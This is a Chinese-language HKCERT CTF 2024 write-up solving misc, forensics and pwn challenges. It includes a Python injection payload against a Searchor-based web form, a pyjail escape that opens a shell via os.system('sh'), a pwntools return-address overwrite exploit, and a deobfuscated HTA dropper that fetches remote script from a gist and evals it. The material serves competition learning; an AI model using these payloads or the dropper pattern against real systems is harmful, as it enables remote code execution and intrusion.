跳至主要內容
HKCERT CTF 2024 write up

HKCERT CTF 2024 write up

LPrincess大约 12 分钟ctfmisc

第二次參加HKcert,體驗感拉滿,只能說今年的題,比去年難太多了Orz😵‍💫

附上今年的戰績

Misc

Get Flag Yourself (50 points)

Mystiz said Go is a great language, so I am learning it now! As ozetta always says, "f___ hollow", I decide to use this to entertain myself with a better coding experience. What a time to be alive!

Attachments:

get-flag-yourself_1f92d57bf1472dcc00b3c5a7c27e18ef.zip

解法

  1. 先壓縮查看檔案

有一個main.py

from base64 import b64decode
from secrets import token_hex
import subprocess
import os
import sys
import tempfile

FLAG = os.environ["FLAG"] if os.environ.get("FLAG") is not None else "hkcert24{test_flag}"

print("Encode your Go program in base64")
code = input(">> ")

with tempfile.TemporaryDirectory() as td:
    fn = token_hex(16)
    src = os.path.join(td, f"{fn}")
    with open(src+".go", "w") as f:
        f.write(b64decode(code).decode())    

    p = subprocess.run(["./fork", "build", "-o", td, src+".go"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) # renamed binary
    if p.returncode != 0:
        print(r"Fail to build ¯\_(ツ)_/¯")
        sys.exit(1)

    _ = subprocess.run([src], stdout=subprocess.PIPE, stderr=subprocess.PIPE)

    if _.returncode == 0:
        print(r"You can write Go programs with no bugs, but I cannot give you the flag ¯\_(ツ)_/¯")
        sys.exit(1)

    if b"panic" in _.stderr:
        print("I am calm...")
        sys.exit(1)

    print(f"You are an experienced Go developer, here's your flag: {FLAG}")
    sys.exit(1)
  • 首先,我們需要構造一個go語言代碼,並將其翻譯成base64編碼,輸入到程序中

  • 接著我們再看看如何構造payload才能夠繞過那些if,得到flag

    • 如果运行的返回码为0,说明程序运行成功(没有出现错误退出的情况),此时会打印相应提示并退出程序,意味着不会给出 FLAG

    • 如果在标准错误输出中检测到 "panic" 字符串,说明 Go 程序在运行过程中出现了 panic 异常,同样会打印提示信息并退出程序。

哦?那可以通过调用 os.Exit(1) 来直接终止程序的执行,并返回一个非零的退出码(这里是 1)。

payload:

package main

import "os"

func main() {
    // 模拟非0的退出码,但避免引发 panic
    os.Exit(1)
}

把上面的代碼用CyberChef轉base64, 就能get FLAG

B6ACP (100 points)

Let's embark your cybersecurity journey by becoming a BlackB6a Certified Professional!

Flag at the home folder of the user.

Connection Information

https://c10-b6acp-0.hkcert24.pwnable.hk

解決

根據step by step提示或許跟 searchor vulnerabilities 已知漏洞有關

搜索searchor找到一篇文章open in new window

bp抓包,payload:e=Accuweather&q=1'+)%2b__import__('os').system('id')%20%23

POST / HTTP/2
Host: c10-b6acp-0.hkcert24.pwnable.hk
Content-Length: 17
Cache-Control: max-age=0
Sec-Ch-Ua: "Not A(Brand";v="24", "Chromium";v="110"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://c10-b6acp-0.hkcert24.pwnable.hk
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://c10-b6acp-0.hkcert24.pwnable.hk/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8


e=Accuweather&q=1'+)%2b__import__('os').system('id')%20%23

boom! =D 拿到shell了,現在可以get FLAG

題目說在home目錄下,通過查找,最終payload:

e=Accuweather&q=1'+)%2b__import__('os').system('cat%20/home/hkcertuser/local.txt')%20%23

Hearing Check (100 points)

In the following task, you will listen to a recording. Follow the name and the content of the sample file (ACEFHJLM.mid) to complete the task. You now have 30 seconds to familiarize yourself with the task.

(If the sample file does not sound like an Ascending F major scale, consider using another music player.)

Attachments

midi_0cae4078255f3d4d14bf63bc62f09b6a.zip

解決

音頻是MIDI 文件,用python讀取文件音高,action等,發現音頻有note_on, note_off, pitchwheel三種狀態,搜索pitchwheel音高轮信息进行处理

在 MIDI 协议相关的编程中(比如你提供的代码示例里使用的 mido 库),msg.pitch 是与音高轮(Pitch Wheel)消息相关的一个属性。 当一个 MIDI 消息的类型(msg.type)为 pitchwheel 时,msg.pitch 这个属性就表示了音高轮的当前位置值。它的取值范围通常是在 0 到 16383 之间(对于标准的 14 位音高轮数据)。

爲了回到原來的音高,我們需要將音高轮的值除以 4096,然後乘以音高轮的範圍(pitchwheel_range)。這樣就可以得到音高轮的變化值,然後將這個值加到音符上,就可以得到原來的音符了。

完整exp:

from mido import MidiFile

midifile = 'flag.mid'
note = []
mid = MidiFile(midifile)
pitchwheel_range = 1
current_pitch_change = 0

for i, track in enumerate(mid.tracks):
    for msg in track:
        print(msg.type)
        if msg.type == 'note_on':
            adjusted_note = round(msg.note + current_pitch_change)
            note.append(adjusted_note)
        elif msg.type == 'pitchwheel':
            current_pitch_change = (msg.pitch / 4096) * pitchwheel_range

char_list = [chr(int(i)) for i in note]

# print(char_list)

for i in char_list:
    print(i,end='')

My Lovely Cats (200 points)

From: Walsh Philip Walsh.philip@example.com

Subject: My Lovely Cats Date: 4 November, 2024

Dear my lovely friend,

Hey there! 🐾 I've put together my absolute favorite cat compilation just for you—handpicked from thousands of adorable cat pics! 😻 And guess what? There's a special flag hidden in the mov file, toooo! 🚩 The kind of flag everyone’s been after! Open it now and claim your flag—don’t wait! 🚀🎯

Yours Truly,

Walsh Philip

Password for unzip: infected

解决

得到一個.mov文件,雙擊運行得到兩個txt文件,010分析一下,发现一个html代码

<HEAD><TITLE>HKCERT 2024 CTF</TITLE>
<SCRIPT>resizeTo(0,0)</SCRIPT>
<SCRIPT>
N="substr";P=(''+''.constructor)[N](10,6);I=(''+{})[N](8,6);W="reverse";Z="split";Y="join";Q="X";S=this;U=S['Active'+Q+I];str=new String();
function atob(b) {
var enc = new U("System.Text.UTF8Encoding");
return enc["Get"+P](new U("System.Security.Cryptography.FromBase64Transform")["TransformFinalBlock"](enc["GetBytes_4"](b), 0, enc["GetByteCount_2"](b)));
}
function sha256(b) {
var enc = new U("System.Text.UTF8Encoding");
var res = "";
for (var i = 0; i < 32; i += 3)
	res += enc["Get"+P](
		new U("System.Security.Cryptography.ToBase64Transform")["TransformFinalBlock"](
				new U("System.Security.Cryptography.SHA256Managed")["ComputeHash_2"](enc["GetBytes_4"](b)),
				i,
				Math.min(3, 32 - i)));
return res;
}
function main() {return S["lave"[Z](str)[W](1024)[Y](str)](atob("K0gCNoQD7kyco0VKyR3co0VWblCNyATMo01Vblic0NHKdp1WiUmdhxmIbNFIpISPv9SVzQTQvRmeCZ3Zzx2N4VGMSJFTxBncvk1bzZzKFVFOyZ2NxUXRzkFbnJCI90TPgkycoYTNyEGazhCImlGI7UWdsFmVkVGc5RVZk9mbukCMo0WZ0lmLpcycv8yJoMXZk9mT0NWZsV2cu02bkBSPgMHI7kyJ0hHduETZslmZ0NXan9CZ3MmY1QWNmdDZidTO5UGNjVWZ3gDO2YzYjNWZ5YjMyETYhNmNhRWYvcXYy9SYmRjNldTNwM2YlVjY1kjN5UTOwYDMmFGOyU2MzkTZh9yYwsmbhlnbv02bj5CduVGdu92YyV2c1JWdoRXan5Cdzl2Zv8iOzBHd0h2JoQWYvxmLt9GZgsTZzxWYmBSPgMmb5NXYu02bkByOpISTPRETNJCIrASUgsCIi4Cdm92cvJ3Yp1kIoUFI3Vmbg0DIt9GZ"[Z](str)[W](1024)[Y](str)))}
try {
main();
window.close();
} catch (e) {}
</SCRIPT></HEAD>
...

得到一个被reverse然后base64加密字符串,反向解密得到一串代码

dom = new U("Microsoft." + Q + "MLDOM");
dom.async = false; 
dom.load('https://gist.githubusercontent.com/nyank0c/ae933e28af060959695b5ecc057e64fa/raw/ada6caa12269eccc66887eec4e997bd7f5d5bc7d/gistfile1.txt'); 
s = dom.selectNodes('//s').item(0).nodeTypedValue; 
if (sha256(s) === "glY3Eu17fr8UE+6soY/rpqLRR0ex7lsgvBzdoA43U/o=") 
    S["lave"[Z](str)[W](1024)[Y](str)](s);

进入这个网站,拿到flag

<s>
// second stage
var fso = new U("Scripting.FileSystemObject");
var file = fso.OpenTextFile("HKCERT24-CTF-PROOF.txt",2,true,-1);
file.Write( "Congratulations! You have successfully executed the program. 恭喜您!您已成功執行本程式。 Here is the proof: flag{ctf-w4ll-0f-sh4me}" );

// hkcert24{mEow-meOw-me0W-ma1ware}

var file2 = fso.OpenTextFile("EICAR.txt",2,true,-1);
file2.Write(atob("K0gCNoCSrgEJhUETJZULUNVRU1yUVJVSWlEVOFULEJVQE5UQUNVLSF0QJVEJ9dTKDN0Np4FUoQTNYpFUcRzWQFEQlAVIPVDW"[Z](str)[W](1024)[Y](str)));

</s>

Crack the Pack (Ⅰ): Head and Shoulders (200 points)

Crack the Pack (Ⅰ): Head and Shoulders There is nothing more FLAG-tastic than having lots of empty images leaving traces of the secret. Believe it or not, it's up to you.

Series: Crack the Pack Other challenges in this series: 1️⃣ • 2️⃣

Attachments

format-1_3fce3decc9f21d2f479221e5b9b78bb6.zip

查看源码:

		<script>
			var result = document.getElementById("result");
			var flag = document.getElementById("flag");
			var encrypt = document.getElementById("encrypt");
			var progress = document.getElementById("progress");
			encrypt.addEventListener("click", function() {
				var ascii_values = flag.value.split("").map(function (c) { return c.charCodeAt(0) });
				if (ascii_values.some(function (c) { return c >= 255 })) {
					result.textContent = "Only ASCII characters are allowed!";
					return;
				};
				if (ascii_values.length % 3 == 1) {
					ascii_values.push(0xd); // just a \r
				}
				if (ascii_values.length % 3 == 2) {
					ascii_values.push(0xa); // just a \n
				}
				ascii_values.push(0xff);
				ascii_values.push(0xff);
				ascii_values.push(0xff);
				while (ascii_values.length < 960 || ascii_values.length % 3 != 0) {
					ascii_values.push(Math.floor(1 + Math.random() * 254));
				}
				var encrypted = [];
				encrypt_flag(ascii_values, encrypted);
			});

			function encrypt_flag(ascii_values, target) {
				progress.style.display = "";
				progress.max = ascii_values.length;
				function handle_index(index) {
					progress.value = index;
					var cv = document.createElement("canvas");
					cv.width = (ascii_values[index] * 16) + Math.floor(ascii_values[index + 1] / 16);
					cv.height = ((ascii_values[index + 1] % 16) * 256) + ascii_values[index + 2];
					var temp = cv.toBlob(function(blob) {
						var reader = new FileReader();
						reader.onloadend = function() {
							target.push(new Uint32Array(reader.result.slice(29, 33))[0]);
							if (index + 3 < ascii_values.length) {
								handle_index(index + 3);
							} else {
								var processed = [];
								process(target, processed);
								result.textContent = processed.join("");
								progress.style.display = "none";
							}
						}
						reader.readAsArrayBuffer(blob);
					});
				}
				handle_index(0);
			}

			function process(target, processed) {
				var sum = Math.floor(Math.random() * 0xffffffff);
				processed.push(sum.toString(16).padStart(8, "0"));
				// preserve the links to the previous elements
				for (var i = 0; i < target.length; i++) {
					sum = (((sum + target[i]) & 0xffffffff) >>> 0);
					processed.push(sum.toString(16).padStart(8, "0"));
				}
				return
					processed.sort(
						function(a, b) {
							return Math.random() - 0.5;
						}
					);
			}
		</script>
8ab7d713a49e19c74313f456148f9de946f8c45cef1aab9f81a32bd8f4f7d36825e1946bf3e742949f4681b71bfedca4ca0bf58321a05d559ff12858eb88c4a5f0144feb2f7bd6d84ed0479094455e84683720484dbbd8a35ba774e1f659e2fdc3f1bbcced8181e53d7a550605a28e1692cc2f6931560604618026156f081b88f0c7da4fc47e13c966b23fe347e5e6701953e4e4153dde1dce6a94f93454d5835154686a3b0af9dc067c50d584313872d72501a9825391560592a8022450d2f25074c0fcb1e27a9af9ce638640c2b3dd7a90566f4c7b0385f743e969b74e0c70cdeb7d1b6576ab3c4c532b436a8472599b451d590b9e59cea23a69a801e1c58f6c0f75a9867c27921eaad354fbe904cfc9766e33f5b4af22fcb0f05be0f611f7d5f92f14888fd6b3c1db8571146a202eff4274994db1e10a128cc411cf821fe4b92dba1a045cd8f876bbca0dc1799dbdb0214dab6feaf214c13cc227f32ee768652a2e2861b197987688803ca559c3439c9f48974d56a43a25734ac264a435ecfb25853b9cb1e1c7a6d17ee522c5a197d45cd75ba1f2a78383e8f72cf917d1e4bacc0ee0313020f6d1a9d650f925d5f9b47cf645cac55334183fec4b15769ffacd71ffc0aebbf489afc8a8685cc50c97f5b91084ee5c3055a5163ff3771fff49a1a5e9e9ee02ac1c62f5f88c7871ba4165605ff85f758b9a273289ab60ef99a5102c27d15e60d3fca200f916c6372e44d67a05ee415cca968e32db0495afdfd8cd75dbb021b54a65ae91f87349579c5a0b307ab0a98c329d7a3781b384cd262ea6cbbbee6622f1bf3c46aa64df3cbb3c96f2c13a900164e1bc63008dd60fd5546b528cb450b1d8a447342844e7da7a1dd5bbd50f5637b6d884171a361a567058941d0a623232468a822f9312abf58eb1c7313060ef69c46b4c7ed7eac38eaaa8acb88478b1a6136739946085bdaac4964c772edb37ad6776bdc68ba5485685b4eae9a4a448b1ba45cef8dba03861049764eea4e442e75a92444e566139b096283b568d7274751e0d1e3cb7218db631dd06276b478616fa4525354c3b325ef5c0014fc0cccd52d30debc6c736627b26135bae314b076a4e805132a94018c46fff5ef7dcc407c0472433cff7794c9d7bc3b86b0d12ff78cec806f0b29feaebe0bac8275803abcdcdc2a9cc5fc22729d79be4e62735095d288f8ed468ec9128a328ea03cd151f6fd4371bba8be03f89852cf9e5631d0c97fc177e511e4745e84b912d926ddef21f0de537b15851ae7c0f3cdbb5cd7ad4632664d23c2375e2bde22d2b2943e87c6accd79a54f8ab971e5d8c591463325dea2045b7a5b0032bc0cd04f4a267a4e6aff6433c041abb6cce1c382d1e92f3e9f49e75e8802561bbf302cd3f0e697053e480f21b68776dbd4251dc2165e1c9ef5afc758f6946771a9ba1773c49b930fe5e50cc8da73bd0e1f09794b2b7baa7cd4d16b2352fb926a5548d19db46033cfc83d0d2ddb1facafddd46cfea7b02678939025140103237af46aab1b5499f26d418fda8687f33cc30c0b65664224cb7b8356e7349f0d4e7f12fe7227bc73694f5e556ac8cb2faf502cfc69eaac03cfb4e881152d4abdbf041006189119f8c246dfbe3536b2cb22d6cd7b45688c08fe6994a4d2f7e9556c6e0ac5f4f1eb05c8d0bcfc81c082a13924eb60143d0129125e60eaf1f65235da448dcbf89eddf508c2057488caa55514579953c993c2d096d06962e9144133c48bc65733cabaa6537df61a2a575bf15ed5144bb936279c64f0910331e5d30c3739ea9178e70c1f794

我们得出以下结论:

  • 字符串转换
    • 首先读取flag中的内容,并将每个字符转换为ASCII值,得到 ascii_values 数组
  • 填充
    • 如果 ascii_values 数组的长度是3的倍数,填充\r(0xd)或\n(0xa)
    • 添加三个0xff
    • 接着又随机填充(每次生成1-254之间的随机数)直到数组长度len(ascii_values)>=960 & len(ascii_values)%3==0
  • 加密
    • 通过handle_index函数循环处理每三个ASCII值,计算一个canvas的宽和高,并使用toBlob方法生成一个blob对象
    • 使用FilerReader读取Blob数据,并提取32位整数(通过Unit32Array)
    • 将提取的整数添加到target数组中
  • 加密结果处理
    • 初始化一个随机sum值,迭代target数组中的每个值,与sum相加并确保结果保持在32位范围内。=> 这个randomsum的初始值可以从output中尝试:0x8ab7d713
    • 再转化为16进制字符串,加到processed数组中
    • 最后将processed数组随机排序
    • output = sum + target[0] + target[1] + ... + target[n]

解決

根据以上代码分析,加密过程,我们可以通过穷举 ascii_dict 中所有可打印字符的组合,尝试找出正确的 flag 字符串

exp:

import struct
import zlib
import tqdm
dataall = open('output','r').read()
dataall = [dataall[i:i+8] for i in range(0, len(dataall), 8)]

def calculate_png_crc(width, height):
    width_bytes = struct.pack(">I", width)
    height_bytes = struct.pack(">I", height)
    
    ihdr_data = b"IHDR" + width_bytes + height_bytes + b"\x08\x06\x00\x00\x00"
    ihdr_crc = zlib.crc32(ihdr_data) & 0xffffffff
    # 大小端转换
    ihdr_crc = ((ihdr_crc & 0xff) << 24) | ((ihdr_crc & 0xff00) << 8) | ((ihdr_crc & 0xff0000) >> 8) | ((ihdr_crc & 0xff000000) >> 24)
    return ihdr_crc

# 将每三个值(即一个字符)处理成 width 和 height,并计算相应的 CRC 值(类似于图像的尺寸信息)。这些 CRC 值组成了加密后的数据 target
def encrypt_flag(ascii_values):
    target = []
    for i in range(0, len(ascii_values), 3):
        a, b, c = ascii_values[i:i+3]

        width = (a * 16) + (b // 16)
        height = ((b % 16) * 256) + c

        crc_value = calculate_png_crc(width, height)
        
        target.append(crc_value)
        
        # print(f"Triplet: ({a}, {b}, {c}) -> Width: {width}, Height: {height}, CRC: {crc_value} {hex(crc_value)}")

    return target
import string

def padFlag(str1):
    if len(str1) % 3 ==1:
        str1 += '\r'
    if len(str1) % 3 ==2:
        str1 += '\n'
    return str1

ascii_dict = string.printable

# flag = ""

def judger(flag):
    RandomSum = 0x8ab7d713
    data = [flag[i:i+3] for i in range(0, len(flag), 3)]
    # print(data)

    encrypt_data=encrypt_flag([ord(c) for c in flag])
    # print(encrypt_data)
    enc2 = []

    for i in range(len(encrypt_data)):
        RandomSum = (RandomSum + encrypt_data[i]) & 0xffffffff
        enc2.append(RandomSum)
    enc2 = [hex(i)[2:].zfill(8) for i in enc2]
    # print(enc2)
    for i in enc2:
        # 如果所有i都在data中,说明flag正确
        if i not in dataall:
            # print(i)
            return False
    print(flag)
    return True

# flag1 = "hkcert24{to0_3azy?_7h4nk_y0ur_br0w53r_4_n0_64k_p1c5_5upp0"
flag1 = "hkcert24{"

for c1 in tqdm.tqdm(ascii_dict):
    for c2 in ascii_dict:
        for c3 in ascii_dict:
            flag =flag1 + c1 + c2 + c3
            flag =padFlag(flag)
            # print(flag)
            flag_ascii = [ord(c) for c in flag]
            encrypted_data = encrypt_flag(flag_ascii)
            if(judger(flag)):
                print(flag)
                break 

Python Calculator 2 (400 points)

Someone told me that the Python calculator challenge from the HKCERT training platform is too easy. Let's have a whitelisting and blacklisting.

Attachments

python-calculator-2_55822d5da2cbf770d1feee3b5276bf5e.zip

Connection Information

ncat --ssl c57-python-calculator-2.hkcert24.pwnable.hk 1337

这题之前在HKCERT的训练平台上出现过,但是这次有了白名单和黑名单,所以不能直接执行系统命令了。查找了许多pyjail的文章 1open in new window2open in new window3open in new windowsetattropen in new windowdecoratoropen in new window

# 以下功能函数直接被删除
func_blacklist = [
    "__spec__",
    "__import__",
    "__loader__",
    "compile",
    "copyright",
    "credits",
    "eval",
    "exec",
    "help",
    "breakpoint",
    "license",
    "open",
    "input",
    "type",
    "vars",
    "delattr",
    "getattr",
    "setattr",
    "super",
    "object",
    "globals",
]

...

# 白名单
charset = string.ascii_letters + string.digits + "\"'+-*/^:.@ \r\n"

...

user_input = (
    """
for _func in func_blacklist:
    globals()['__builtins__'].__dict__.pop(_func)

'''------line_break--------'''
"""
    + user_input
)

解決

只能是用Python 装饰器(@decorator)机制和某些奇特的逻辑结构来进行绕过

起初是先尝试不管白名单,先构造出一个可以执行系统命令的payload

# 通过查找os
search = '__builtins__' 
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        if search in i.__init__.__globals__.keys():
            print(i, num)
    except:
        pass 

print(i)

# <class 'os._wrap_close'> 133
().__class__.__base__.__subclasses__()[133].__init__.__globals__['system']('cat flag.txt')

构造payload,发现白名单并没有'_',如果构造装饰器,装饰器执行不了__subclasses__(),有能够直接访问到sys的继承串吗?直接得到os,陷入沉思,又搜索了相关文章,问了GPT

因为环境是python3.11,或许可以通过异常来获取一些继承链上的东西

首先使用了类定义装饰器来构造'_{}'

@chr
@lambda x : 95
class ul:
    pass
# chr(95) = '_'

@chr
@lambda x : 123
class lb:
    pass
# chr(123) = '{'

@chr
@lambda x : 125
class rb:
    pass
# chr(125) = '}'

尝试通过 @fstr.format 装饰器格式化类 res,但由于 fstr.format 是一个字符串格式化操作,并且没有明确的实现细节,这部分代码会抛出异常。

@payload.format 装饰器的应用会抛出异常(字符串格式化中的某些元素无法正确处理),进入 except 块。

在 except 块中,异常处理尝试通过 e.obj.get 来访问异常对象的属性。然后定义了 os 类并执行了 os.system('sh'),最终启动一个 shell。

payload = '''
@chr
@lambda x: 95
class dash:pass
@chr
@lambda x: 123
class l:pass
@chr
@lambda x: 125
class r:pass
@str
@lambda x: l+"0."+dash+"re.enum.sys.modules"+".b"+r
class payload:pass
# "{0._re.enum.sys.modules.b}"

try:
    @payload.format
    @lambda x:string
    class x:pass
except Exception as e:
    @e.obj.get
    @lambda x:'os'
    class os:pass
    @os.system
    @lambda x:'sh'
    class x:pass
'''

Forensics

Cook book (250 points)

Attachments

cook-book_36d6d5166b707209aa9c2d74d3b64d71.zip

解決

使用GIMP软件,以把flag.enc以data格式读入

长宽随便调整1024*1024

最后会保存为.xcf格式.xcf

pwn

ChatGGT (1) (100 points)

The current trend is dominated by AI, so it's time to have fun with my AI chatbot(prototype)!

Note: There is a step-by-step guide to the challenge.

Series: ChatGGT Other challenges in this series (not dependent on each other, start with the one you like): 1️⃣ • 2️⃣

Attachments

chatggt_276cb471c623636b969de53bec682bb7.zip

Connection Information

ncat --ssl c64-chatggt.hkcert24.pwnable.hk 1337

解決

根据Step-by-step guide, 我们需要知道<distance between the buffer ``question`` and the return address>,以及<address of the ``get_shell`` function + 5>

我们可以通过gdb来查看questionget_shell的地址

(gdb) info functions get_shell
All functions matching regular expression "get_shell":

Non-debugging symbols:
0x00000000004011f6  get_shell
(gdb) break start_chat
Note: breakpoint 1 also set at pc 0x401287.
Breakpoint 2 at 0x401287
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/princess/Desktop/item/hkcert24/chal 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
>>>ChatGGT 1.0<<<

Breakpoint 1, 0x0000000000401287 in start_chat ()
(gdb) x/40gx $rsp
0x7fffffffddb0: 0x00007fffffffddc0      0x000000000040132c
0x7fffffffddc0: 0x0000000000000001      0x00007ffff7de7dba
0x7fffffffddd0: 0x00007fffffffdec0      0x0000000000401301
0x7fffffffdde0: 0x0000000100400040      0x00007fffffffded8
0x7fffffffddf0: 0x00007fffffffded8      0x0f1d5c5287f96e37
0x7fffffffde00: 0x0000000000000000      0x00007fffffffdee8
0x7fffffffde10: 0x00007ffff7ffd000      0x0000000000403e18
0x7fffffffde20: 0xf0e2a3ad3c5b6e37      0xf0e2b3ee7d1f6e37
0x7fffffffde30: 0x0000000000000000      0x0000000000000000
0x7fffffffde40: 0x0000000000000000      0x00007fffffffded8
0x7fffffffde50: 0x0000000000000001      0x4bd72b09affb5500
0x7fffffffde60: 0x00007fffffffded0      0x00007ffff7de7e75
0x7fffffffde70: 0x0000000000401301      0x0000000000403e18
0x7fffffffde80: 0x00007ffff7ffe2e0      0x0000000000000000
0x7fffffffde90: 0x0000000000000000      0x0000000000401110
0x7fffffffdea0: 0x00007fffffffded0      0x0000000000000000
0x7fffffffdeb0: 0x0000000000000000      0x0000000000401135
0x7fffffffdec0: 0x00007fffffffdec8      0x0000000000000038
0x7fffffffded0: 0x0000000000000001      0x00007fffffffe22e
0x7fffffffdee0: 0x0000000000000000      0x00007fffffffe258

Step 1:确定返回地址的偏移量

从GDB堆栈转储中,我们可以观察到大致的结构:

  • 缓冲区( question )是 256 字节。
  • 返回地址可能位于 256 字节的缓冲区数据加上一些用于填充的附加字节之后,与典型的堆栈布局对齐。

Step 2:获取get_shell的地址

From the GDB output:

0x00000000004011f6  get_shell

get_shell的地址是0x4011f6 。由于我们正在执行跳转,因此添加偏移量 5 ( 0x4011f6 + 5 = 0x4011fb ) 有助于跳过函数序言并避免get_shell中的设置开销。

Step 3: Build the Exploit Code

from pwn import *

io = remote("c64-chatggt.hkcert24.pwnable.hk", 1337, ssl=True)  # connect to the remote server

# Wait for the server's prompt to input a response
io.recvuntil("Question (Input EXIT to leave the chat):")

# Construct the payload
# Offset to reach the return address + address of `get_shell` with an offset of 5 to skip function prologue
payload = b"a" * 264  
payload += p64(0x4011fb)  # Address of `get_shell` + 5

# Send the payload to overwrite the return address
io.send(payload)

# Wait for the server's prompt to exit the chat
io.recvuntil("Question (Input EXIT to leave the chat):")
io.send("EXIT")  # Input "EXIT" to leave the function

# Program should now jump to `get_shell`
io.interactive()  # Open an interactive session to get the shell
上次编辑于:
贡献者: L-mj0